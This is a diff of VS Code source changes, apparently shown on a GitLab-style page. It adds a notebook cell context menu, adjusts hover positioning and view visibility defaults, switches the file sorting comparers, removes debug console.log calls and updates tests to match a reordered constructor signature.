......@@ -1588,7 +1589,7 @@ export class ExtHostNotebookController implements ExtHostNotebookShape, ExtHostN
});
// add cell document as vscode.TextDocument
addedCellDocuments.push(...modelData.cells.map(ExtHostCell.asModelAddData));
addedCellDocuments.push(...modelData.cells.map(cell => ExtHostCell.asModelAddData(document, cell)));
this._documents.get(revivedUri)?.dispose();
this._documents.set(revivedUri, document);
......@@ -1600,9 +1601,7 @@ export class ExtHostNotebookController implements ExtHostNotebookShape, ExtHostN
}
}
this._documentsAndEditors.$acceptDocumentsAndEditorsDelta({
addedDocuments: addedCellDocuments
});
this._documentsAndEditors.$acceptDocumentsAndEditorsDelta({ addedDocuments: addedCellDocuments });
const document = this._documents.get(revivedUri)!;
this._onDidOpenNotebookDocument.fire(document);
......
......@@ -175,6 +175,9 @@ export class ExtHostTerminal extends BaseExtHostTerminal implements vscode.Termi
// Nothing changed
return false;
}
if (cols === 0 || rows === 0) {
return false;
}
this._cols = cols;
this._rows = rows;
return true;
......
......@@ -12,7 +12,7 @@ import { IThemeService, Themable } from 'vs/platform/theme/common/themeService';
import { activeContrastBorder } from 'vs/platform/theme/common/colorRegistry';
import { IEditorIdentifier, EditorInput, EditorOptions } from 'vs/workbench/common/editor';
import { isMacintosh, isWeb } from 'vs/base/common/platform';
import { GroupDirection, MergeGroupMode } from 'vs/workbench/services/editor/common/editorGroupsService';
import { GroupDirection, MergeGroupMode, OpenEditorContext } from 'vs/workbench/services/editor/common/editorGroupsService';
import { toDisposable } from 'vs/base/common/lifecycle';
import { IInstantiationService } from 'vs/platform/instantiation/common/instantiation';
import { RunOnceScheduler } from 'vs/base/common/async';
......@@ -277,13 +277,13 @@ class DropOverlay extends Themable {
pinned: true, // always pin dropped editor
sticky: sourceGroup.isSticky(draggedEditor.editor) // preserve sticky state
}));
targetGroup.openEditor(draggedEditor.editor, options);
const copyEditor = this.isCopyOperation(event, draggedEditor);
targetGroup.openEditor(draggedEditor.editor, options, copyEditor ? OpenEditorContext.COPY_EDITOR : OpenEditorContext.MOVE_EDITOR);
// Ensure target has focus
targetGroup.focus();
// Close in source group unless we copy
const copyEditor = this.isCopyOperation(event, draggedEditor);
if (!copyEditor) {
sourceGroup.closeEditor(draggedEditor.editor);
}
......
......@@ -115,6 +115,10 @@
text-overflow: ellipsis;
}
.monaco-workbench .notifications-list-container .notification-list-item .notification-list-item-buttons-container .monaco-text-button {
display: inline-block; /* to enable ellipsis in text overflow */
}
/** Notification: Progress */
.monaco-workbench .notifications-list-container .progress-bit {
......
......@@ -244,6 +244,7 @@ export interface IAddedViewDescriptorRef extends IViewDescriptorRef {
export interface IAddedViewDescriptorState {
viewDescriptor: IViewDescriptor,
collapsed?: boolean;
visible?: boolean;
}
export interface IViewContainerModel {
......
......@@ -545,7 +545,7 @@ class SessionsRenderer implements ICompressibleTreeRenderer<IDebugSession, Fuzzy
};
setActionBar();
data.elementDisposable.push(this.menu.onDidChange(() => setActionBar()));
data.stateLabel.hidden = false;
data.stateLabel.style.display = '';
if (thread && thread.stoppedDetails) {
data.stateLabel.textContent = thread.stoppedDetails.description || nls.localize('debugStopped', "Paused on {0}", thread.stoppedDetails.reason || '');
......@@ -557,7 +557,7 @@ class SessionsRenderer implements ICompressibleTreeRenderer<IDebugSession, Fuzzy
if (!hasChildSessions) {
data.stateLabel.textContent = nls.localize({ key: 'running', comment: ['indicates state'] }, "Running");
} else {
data.stateLabel.hidden = true;
data.stateLabel.style.display = 'none';
}
}
}
......
......@@ -28,7 +28,7 @@ import { IEditorService } from 'vs/workbench/services/editor/common/editorServic
import { parse, getFirstFrame } from 'vs/base/common/console';
import { IDialogService } from 'vs/platform/dialogs/common/dialogs';
import { INotificationService } from 'vs/platform/notification/common/notification';
import { IAction } from 'vs/base/common/actions';
import { IAction, Action } from 'vs/base/common/actions';
import { deepClone, equals } from 'vs/base/common/objects';
import { DebugSession } from 'vs/workbench/contrib/debug/browser/debugSession';
import { dispose, IDisposable } from 'vs/base/common/lifecycle';
......@@ -46,6 +46,7 @@ import { generateUuid } from 'vs/base/common/uuid';
import { DebugStorage } from 'vs/workbench/contrib/debug/common/debugStorage';
import { DebugTelemetry } from 'vs/workbench/contrib/debug/common/debugTelemetry';
import { DebugCompoundRoot } from 'vs/workbench/contrib/debug/common/debugCompoundRoot';
import { ICommandService } from 'vs/platform/commands/common/commands';
export class DebugService implements IDebugService {
declare readonly _serviceBrand: undefined;
......@@ -87,7 +88,8 @@ export class DebugService implements IDebugService {
@IFileService private readonly fileService: IFileService,
@IConfigurationService private readonly configurationService: IConfigurationService,
@IExtensionHostDebugService private readonly extensionHostDebugService: IExtensionHostDebugService,
@IActivityService private readonly activityService: IActivityService
@IActivityService private readonly activityService: IActivityService,
@ICommandService private readonly commandService: ICommandService
) {
this.toDispose = [];
......@@ -438,7 +440,18 @@ export class DebugService implements IDebugService {
nls.localize('debugTypeMissing', "Missing property 'type' for the chosen launch configuration.");
}
await this.showError(message);
const actionList: IAction[] = [];
actionList.push(new Action(
'installAdditionalDebuggers',
nls.localize('installAdditionalDebuggers', "Install {0} Extension", resolvedConfig.type),
undefined,
true,
async () => this.commandService.executeCommand('debug.installAdditionalDebuggers')
));
await this.showError(message, actionList);
return false;
}
......
......@@ -49,13 +49,13 @@ export class BinaryFileEditor extends BaseBinaryResourceEditor {
}
private async openInternal(input: EditorInput, options: EditorOptions | undefined): Promise<void> {
if (input instanceof FileEditorInput) {
if (input instanceof FileEditorInput && this.group) {
// Enforce to open the input as text to enable our text based viewer
input.setForceOpenAsText();
if (this.group !== undefined) {
await openEditorWith(input, undefined, options, this.group, this.editorService, this.configurationService, this.quickInputService);
} else {
await this.editorService.openEditor(input, options, this.group);
}
// If more editors are installed that can handle this input, show a picker
await openEditorWith(input, undefined, options, this.group, this.editorService, this.configurationService, this.quickInputService);
}
}
......
......@@ -29,7 +29,7 @@ import { IKeyboardEvent } from 'vs/base/browser/keyboardEvent';
import { equals, deepClone } from 'vs/base/common/objects';
import * as path from 'vs/base/common/path';
import { ExplorerItem, NewExplorerItem } from 'vs/workbench/contrib/files/common/explorerModel';
import { compareFileExtensionsNumeric, compareFileNamesNumeric } from 'vs/base/common/comparers';
import { compareFileNamesDefault, compareFileExtensionsDefault } from 'vs/base/common/comparers';
import { fillResourceDataTransfers, CodeDataTransfers, extractResources, containsDragType } from 'vs/workbench/browser/dnd';
import { IInstantiationService } from 'vs/platform/instantiation/common/instantiation';
import { IDragAndDropData, DataTransfers } from 'vs/base/browser/dnd';
......@@ -665,7 +665,7 @@ export class FileSorter implements ITreeSorter<ExplorerItem> {
}
if (statA.isDirectory && statB.isDirectory) {
return compareFileNamesNumeric(statA.name, statB.name);
return compareFileNamesDefault(statA.name, statB.name);
}
break;
......@@ -699,17 +699,17 @@ export class FileSorter implements ITreeSorter<ExplorerItem> {
// Sort Files
switch (sortOrder) {
case 'type':
return compareFileExtensionsNumeric(statA.name, statB.name);
return compareFileExtensionsDefault(statA.name, statB.name);
case 'modified':
if (statA.mtime !== statB.mtime) {
return (statA.mtime && statB.mtime && statA.mtime < statB.mtime) ? 1 : -1;
}
return compareFileNamesNumeric(statA.name, statB.name);
return compareFileNamesDefault(statA.name, statB.name);
default: /* 'default', 'mixed', 'filesFirst' */
return compareFileNamesNumeric(statA.name, statB.name);
return compareFileNamesDefault(statA.name, statB.name);
}
}
}
......
......@@ -386,6 +386,13 @@ MenuRegistry.appendMenuItem(MenuId.NotebookCellTitle, {
group: CellOverflowToolbarGroups.Insert
});
MenuRegistry.appendMenuItem(MenuId.EditorContext, {
submenu: MenuId.NotebookCellTitle,
title: localize('notebookMenu.cellTitle', "Notebook Cell"),
group: CellOverflowToolbarGroups.Insert,
when: NOTEBOOK_EDITOR_FOCUSED
});
MenuRegistry.appendMenuItem(MenuId.EditorTitle, {
command: {
id: EXECUTE_NOTEBOOK_COMMAND_ID,
......@@ -1452,7 +1459,7 @@ registerAction2(class extends NotebookCellAction {
},
menu: {
id: MenuId.NotebookCellTitle,
when: ContextKeyExpr.and(NOTEBOOK_CELL_LIST_FOCUSED, NOTEBOOK_CELL_INPUT_COLLAPSED.toNegated()),
when: ContextKeyExpr.and(NOTEBOOK_CELL_INPUT_COLLAPSED.toNegated()),
group: CellOverflowToolbarGroups.Collapse,
}
});
......@@ -1475,7 +1482,7 @@ registerAction2(class extends NotebookCellAction {
},
menu: {
id: MenuId.NotebookCellTitle,
when: ContextKeyExpr.and(NOTEBOOK_CELL_LIST_FOCUSED, NOTEBOOK_CELL_INPUT_COLLAPSED),
when: ContextKeyExpr.and(NOTEBOOK_CELL_INPUT_COLLAPSED),
group: CellOverflowToolbarGroups.Collapse,
}
});
......@@ -1498,7 +1505,7 @@ registerAction2(class extends NotebookCellAction {
},
menu: {
id: MenuId.NotebookCellTitle,
when: ContextKeyExpr.and(NOTEBOOK_CELL_LIST_FOCUSED, NOTEBOOK_CELL_OUTPUT_COLLAPSED.toNegated(), NOTEBOOK_CELL_HAS_OUTPUTS),
when: ContextKeyExpr.and(NOTEBOOK_CELL_OUTPUT_COLLAPSED.toNegated(), NOTEBOOK_CELL_HAS_OUTPUTS),
group: CellOverflowToolbarGroups.Collapse,
}
});
......@@ -1521,7 +1528,7 @@ registerAction2(class extends NotebookCellAction {
},
menu: {
id: MenuId.NotebookCellTitle,
when: ContextKeyExpr.and(NOTEBOOK_CELL_LIST_FOCUSED, NOTEBOOK_CELL_OUTPUT_COLLAPSED),
when: ContextKeyExpr.and(NOTEBOOK_CELL_OUTPUT_COLLAPSED),
group: CellOverflowToolbarGroups.Collapse,
}
});
......
......@@ -4,7 +4,7 @@
*--------------------------------------------------------------------------------------------*/
import { IMouseWheelEvent } from 'vs/base/browser/mouseEvent';
import { IListEvent, IListMouseEvent } from 'vs/base/browser/ui/list/list';
import { IListContextMenuEvent, IListEvent, IListMouseEvent } from 'vs/base/browser/ui/list/list';
import { IListOptions, IListStyles } from 'vs/base/browser/ui/list/listWidget';
import { ProgressBar } from 'vs/base/browser/ui/progressbar/progressbar';
import { ToolBar } from 'vs/base/browser/ui/toolbar/toolbar';
......@@ -435,6 +435,7 @@ export interface INotebookCellList {
readonly onDidHideOutput: Event<IProcessedOutput>;
readonly onMouseUp: Event<IListMouseEvent<CellViewModel>>;
readonly onMouseDown: Event<IListMouseEvent<CellViewModel>>;
readonly onContextMenu: Event<IListContextMenuEvent<CellViewModel>>;
detachViewModel(): void;
attachViewModel(viewModel: NotebookViewModel): void;
clear(): void;
......
......@@ -51,6 +51,13 @@ import { debugIconStartForeground } from 'vs/workbench/contrib/debug/browser/deb
import { CellContextKeyManager } from 'vs/workbench/contrib/notebook/browser/view/renderers/cellContextKeys';
import { NotebookProviderInfo } from 'vs/workbench/contrib/notebook/common/notebookProvider';
import { notebookKernelProviderAssociationsSettingId, NotebookKernelProviderAssociations } from 'vs/workbench/contrib/notebook/browser/notebookKernelAssociation';
import { IListContextMenuEvent } from 'vs/base/browser/ui/list/list';
import { IContextMenuService } from 'vs/platform/contextview/browser/contextView';
import { IMenuService, MenuId } from 'vs/platform/actions/common/actions';
import { IAction, Separator } from 'vs/base/common/actions';
import { isMacintosh, isNative } from 'vs/base/common/platform';
import { getTitleBarStyle } from 'vs/platform/windows/common/windows';
import { IEnvironmentService } from 'vs/platform/environment/common/environment';
const $ = DOM.$;
......@@ -210,8 +217,11 @@ export class NotebookEditorWidget extends Disposable implements INotebookEditor
@IStorageService storageService: IStorageService,
@INotebookService private notebookService: INotebookService,
@IConfigurationService private readonly configurationService: IConfigurationService,
@IEnvironmentService private readonly environmentService: IEnvironmentService,
@IContextKeyService readonly contextKeyService: IContextKeyService,
@ILayoutService private readonly layoutService: ILayoutService
@ILayoutService private readonly layoutService: ILayoutService,
@IContextMenuService private readonly contextMenuService: IContextMenuService,
@IMenuService private readonly menuService: IMenuService,
) {
super();
this._memento = new Memento(NotebookEditorWidget.ID, storageService);
......@@ -395,7 +405,7 @@ export class NotebookEditorWidget extends Disposable implements INotebookEditor
multipleSelectionSupport: false,
enableKeyboardNavigation: true,
additionalScrollHeight: 0,
transformOptimization: true,
transformOptimization: (isMacintosh && isNative) || getTitleBarStyle(this.configurationService, this.environmentService) === 'native',
styleController: (_suffix: string) => { return this._list!; },
overrideStyles: {
listBackground: editorBackground,
......@@ -468,10 +478,34 @@ export class NotebookEditorWidget extends Disposable implements INotebookEditor
this._cursorNavigationMode = false;
}));
this._register(this._list.onContextMenu(e => {
this.showListContextMenu(e);
}));
const widgetFocusTracker = DOM.trackFocus(this.getDomNode());
this._register(widgetFocusTracker);
this._register(widgetFocusTracker.onDidFocus(() => this._onDidFocusEmitter.fire()));
}
private showListContextMenu(e: IListContextMenuEvent<CellViewModel>) {
this.contextMenuService.showContextMenu({
getActions: () => {
const result: IAction[] = [];
const menu = this.menuService.createMenu(MenuId.NotebookCellTitle, this.contextKeyService);
const groups = menu.getActions();
menu.dispose();
for (let group of groups) {
const [, actions] = group;
result.push(...actions);
result.push(new Separator());
}
result.pop(); // remove last separator
return result;
},
getAnchor: () => e.anchor
});
}
private _updateForCursorNavigationMode(applyFocusChange: () => void): void {
......
......@@ -29,21 +29,22 @@ export class VerticalSeparatorViewItem extends BaseActionViewItem {
}
}
export function createAndFillInActionBarActionsWithVerticalSeparators(menu: IMenu, options: IMenuActionOptions | undefined, target: IAction[] | { primary: IAction[]; secondary: IAction[]; }, isPrimaryGroup?: (group: string) => boolean): IDisposable {
export function createAndFillInActionBarActionsWithVerticalSeparators(menu: IMenu, options: IMenuActionOptions | undefined, target: IAction[] | { primary: IAction[]; secondary: IAction[]; }, alwaysFillSecondary?: boolean, isPrimaryGroup?: (group: string) => boolean): IDisposable {
const groups = menu.getActions(options);
// Action bars handle alternative actions on their own so the alternative actions should be ignored
fillInActions(groups, target, false, isPrimaryGroup);
fillInActions(groups, target, false, alwaysFillSecondary, isPrimaryGroup);
return asDisposable(groups);
}
function fillInActions(groups: ReadonlyArray<[string, ReadonlyArray<MenuItemAction | SubmenuItemAction>]>, target: IAction[] | { primary: IAction[]; secondary: IAction[]; }, useAlternativeActions: boolean, isPrimaryGroup: (group: string) => boolean = group => group === 'navigation'): void {
function fillInActions(groups: ReadonlyArray<[string, ReadonlyArray<MenuItemAction | SubmenuItemAction>]>, target: IAction[] | { primary: IAction[]; secondary: IAction[]; }, useAlternativeActions: boolean, alwaysFillSecondary = false, isPrimaryGroup: (group: string) => boolean = group => group === 'navigation'): void {
for (const tuple of groups) {
let [group, actions] = tuple;
if (useAlternativeActions) {
actions = actions.map(a => (a instanceof MenuItemAction) && !!a.alt ? a.alt : a);
}
if (isPrimaryGroup(group)) {
const isPrimary = isPrimaryGroup(group);
if (isPrimary) {
const to = Array.isArray<IAction>(target) ? target : target.primary;
if (to.length > 0) {
......@@ -51,7 +52,9 @@ function fillInActions(groups: ReadonlyArray<[string, ReadonlyArray<MenuItemActi
}
to.push(...actions);
} else {
}
if (!isPrimary || alwaysFillSecondary) {
const to = Array.isArray<IAction>(target) ? target : target.secondary;
if (to.length > 0) {
......
......@@ -124,10 +124,8 @@ export class CellContextKeyManager extends Disposable {
private updateForOutputs() {
if (this.element instanceof CodeCellViewModel) {
console.log(this.element, this.element.outputs.length > 0);
this.cellHasOutputs.set(this.element.outputs.length > 0);
} else {
console.log(this.element, false);
this.cellHasOutputs.set(false);
}
}
......
......@@ -209,7 +209,7 @@ abstract class AbstractCellRenderer {
const cellMenu = this.instantiationService.createInstance(CellMenus);
const menu = disposables.add(cellMenu.getCellInsertionMenu(contextKeyService));
const actions = this.getCellToolbarActions(menu);
const actions = this.getCellToolbarActions(menu, false);
toolbar.setActions(actions.primary, actions.secondary);
return toolbar;
......@@ -254,19 +254,19 @@ abstract class AbstractCellRenderer {
return toolbar;
}
private getCellToolbarActions(menu: IMenu): { primary: IAction[], secondary: IAction[] } {
private getCellToolbarActions(menu: IMenu, alwaysFillSecondaryActions: boolean): { primary: IAction[], secondary: IAction[] } {
const primary: IAction[] = [];
const secondary: IAction[] = [];
const result = { primary, secondary };
createAndFillInActionBarActionsWithVerticalSeparators(menu, { shouldForwardArgs: true }, result, g => /^inline/.test(g));
createAndFillInActionBarActionsWithVerticalSeparators(menu, { shouldForwardArgs: true }, result, alwaysFillSecondaryActions, g => /^inline/.test(g));
return result;
}
protected setupCellToolbarActions(templateData: BaseCellRenderTemplate, disposables: DisposableStore): void {
const updateActions = () => {
const actions = this.getCellToolbarActions(templateData.titleMenu);
const actions = this.getCellToolbarActions(templateData.titleMenu, true);
const hadFocus = DOM.isAncestor(document.activeElement, templateData.toolbar.getElement());
templateData.toolbar.setActions(actions.primary, actions.secondary);
......
......@@ -62,6 +62,7 @@ viewsRegistry.registerViews([{
workspace: true,
canMoveView: true,
weight: 80,
order: -999,
containerIcon: Codicon.sourceControl.classNames
}], viewContainer);
......
......@@ -38,7 +38,7 @@ import { FuzzyScore, createMatches } from 'vs/base/common/filters';
import { CollapseAllAction } from 'vs/base/browser/ui/tree/treeDefaults';
import { isFalsyOrWhitespace } from 'vs/base/common/strings';
import { SIDE_BAR_BACKGROUND, PANEL_BACKGROUND } from 'vs/workbench/common/theme';
import { IHoverService, IHoverOptions } from 'vs/workbench/services/hover/browser/hover';
import { IHoverService, IHoverOptions, IHoverTarget } from 'vs/workbench/services/hover/browser/hover';
import { ActionViewItem } from 'vs/base/browser/ui/actionbar/actionViewItems';
class Root implements ITreeItem {
......@@ -829,8 +829,13 @@ class TreeRenderer extends Disposable implements ITreeRenderer<ITreeItem, FuzzyS
const tooltip = resolvableNode.tooltip ?? label;
if (isHovering && tooltip) {
if (!hoverOptions) {
hoverOptions = { text: isString(tooltip) ? { value: tooltip } : tooltip, target: this };
const target: IHoverTarget = {
targetElements: [this],
dispose: () => { }
};
hoverOptions = { text: isString(tooltip) ? { value: tooltip } : tooltip, target };
}
(<IHoverTarget>hoverOptions.target).x = e.x;
hoverService.showHover(hoverOptions);
}
this.removeEventListener(DOM.EventType.MOUSE_LEAVE, mouseLeave);
......
......@@ -141,7 +141,7 @@ export class HoverWidget extends Widget {
// Get horizontal alignment and position
let targetLeft = this._target.x !== undefined ? this._target.x : Math.min(...targetBounds.map(e => e.left));
if (targetLeft + this._hover.containerDomNode.clientWidth >= document.documentElement.clientWidth) {
this._x = document.documentElement.clientWidth;
this._x = document.documentElement.clientWidth - 1;
this._hover.containerDomNode.classList.add('right-aligned');
} else {
this._x = targetLeft;
......
......@@ -18,6 +18,11 @@
color: #3794ff;
}
.monaco-workbench .workbench-hover.right-aligned {
/* The context view service wraps strangely when it's right up against the edge without this */
left: 1px;
}
.monaco-workbench .workbench-hover.right-aligned .hover-row.status-bar .actions {
flex-direction: row-reverse;
}
......
......@@ -692,7 +692,7 @@ export class ViewDescriptorService extends Disposable implements IViewDescriptor
});
});
this.getViewContainerModel(container).add(views.map(view => { return { viewDescriptor: view, collapsed: expandViews ? false : undefined }; }));
this.getViewContainerModel(container).add(views.map(view => { return { viewDescriptor: view, collapsed: expandViews ? false : undefined, visible: expandViews }; }));
}
private removeViews(container: ViewContainer, views: IViewDescriptor[]): void {
......
......@@ -478,16 +478,16 @@ export class ViewContainerModel extends Disposable implements IViewContainerMode
if (state) {
// set defaults if not set
if (viewDescriptor.workspace) {
state.visibleWorkspace = isUndefinedOrNull(state.visibleWorkspace) ? !viewDescriptor.hideByDefault : state.visibleWorkspace;
state.visibleWorkspace = isUndefinedOrNull(addedViewDescriptorState.visible) ? (isUndefinedOrNull(state.visibleWorkspace) ? !viewDescriptor.hideByDefault : state.visibleWorkspace) : addedViewDescriptorState.visible;
} else {
state.visibleGlobal = isUndefinedOrNull(state.visibleGlobal) ? !viewDescriptor.hideByDefault : state.visibleGlobal;
state.visibleGlobal = isUndefinedOrNull(addedViewDescriptorState.visible) ? (isUndefinedOrNull(state.visibleGlobal) ? !viewDescriptor.hideByDefault : state.visibleGlobal) : addedViewDescriptorState.visible;
}
state.collapsed = isUndefinedOrNull(addedViewDescriptorState.collapsed) ? (isUndefinedOrNull(state.collapsed) ? !!viewDescriptor.collapsed : state.collapsed) : addedViewDescriptorState.collapsed;
} else {
state = {
active: false,
visibleGlobal: !viewDescriptor.hideByDefault,
visibleWorkspace: !viewDescriptor.hideByDefault,
visibleGlobal: isUndefinedOrNull(addedViewDescriptorState.visible) ? !viewDescriptor.hideByDefault : addedViewDescriptorState.visible,
visibleWorkspace: isUndefinedOrNull(addedViewDescriptorState.visible) ? !viewDescriptor.hideByDefault : addedViewDescriptorState.visible,
collapsed: isUndefinedOrNull(addedViewDescriptorState.collapsed) ? !!viewDescriptor.collapsed : addedViewDescriptorState.collapsed,
};
}
......
......@@ -35,7 +35,7 @@ suite('ExtHostDocumentData', () => {
'and this is line number two', //27
'it is followed by #3', //20
'and finished with the fourth.', //29
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
});
test('readonly-ness', () => {
......@@ -55,7 +55,7 @@ suite('ExtHostDocumentData', () => {
saved = uri;
return Promise.resolve(true);
}
}, URI.parse('foo:bar'), [], '\n', 'text', 1, true);
}, URI.parse('foo:bar'), [], '\n', 1, 'text', true);
return data.document.save().then(() => {
assert.equal(saved.toString(), 'foo:bar');
......@@ -242,7 +242,7 @@ suite('ExtHostDocumentData', () => {
test('getWordRangeAtPosition', () => {
data = new ExtHostDocumentData(undefined!, URI.file(''), [
'aaaa bbbb+cccc abc'
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
let range = data.document.getWordRangeAtPosition(new Position(0, 2))!;
assert.equal(range.start.line, 0);
......@@ -276,7 +276,7 @@ suite('ExtHostDocumentData', () => {
'function() {',
' "far boo"',
'}'
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
let range = data.document.getWordRangeAtPosition(new Position(0, 0), /\/\*.+\*\//);
assert.equal(range, undefined);
......@@ -304,7 +304,7 @@ suite('ExtHostDocumentData', () => {
data = new ExtHostDocumentData(undefined!, URI.file(''), [
perfData._$_$_expensive
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
let range = data.document.getWordRangeAtPosition(new Position(0, 1_177_170), regex)!;
assert.equal(range, undefined);
......@@ -323,7 +323,7 @@ suite('ExtHostDocumentData', () => {
data = new ExtHostDocumentData(undefined!, URI.file(''), [
line
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
let range = data.document.getWordRangeAtPosition(new Position(0, 27), regex)!;
assert.equal(range.start.line, 0);
......@@ -387,7 +387,7 @@ suite('ExtHostDocumentData updates line mapping', () => {
}
function testLineMappingDirectionAfterEvents(lines: string[], eol: string, direction: AssertDocumentLineMappingDirection, e: IModelChangedEvent): void {
let myDocument = new ExtHostDocumentData(undefined!, URI.file(''), lines.slice(0), eol, 'text', 1, false);
let myDocument = new ExtHostDocumentData(undefined!, URI.file(''), lines.slice(0), eol, 1, 'text', false);
assertDocumentLineMapping(myDocument, direction);
myDocument.onEvents(e);
......
......@@ -97,11 +97,13 @@ suite('NotebookCell#Document', function () {
assert.ok(d1);
assert.equal(d1.languageId, c1.language);
assert.equal(d1.version, 1);
assert.ok(d1.notebook === notebook);
const d2 = extHostDocuments.getDocument(c2.uri);
assert.ok(d2);
assert.equal(d2.languageId, c2.language);
assert.equal(d2.version, 1);
assert.ok(d2.notebook === notebook);
});
test('cell document goes when notebook closes', async function () {
......@@ -215,4 +217,10 @@ suite('NotebookCell#Document', function () {
assert.equal(doc.isClosed, true);
}
});
test('cell document knows notebook', function () {
for (let cells of notebook.cells) {
assert.equal(cells.document.notebook === notebook, true);
}
});
});
......@@ -17,7 +17,7 @@ suite('ExtHostTextEditor', () => {
let editor: ExtHostTextEditor;
let doc = new ExtHostDocumentData(undefined!, URI.file(''), [
'aaaa bbbb+cccc abc'
], '\n', 'text', 1, false);
], '\n', 1, 'text', false);
setup(() => {
editor = new ExtHostTextEditor('fake', null!, new NullLogService(), doc, [], { cursorStyle: 0, insertSpaces: true, lineNumbers: 1, tabSize: 4, indentSize: 4 }, [], 1);
......
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册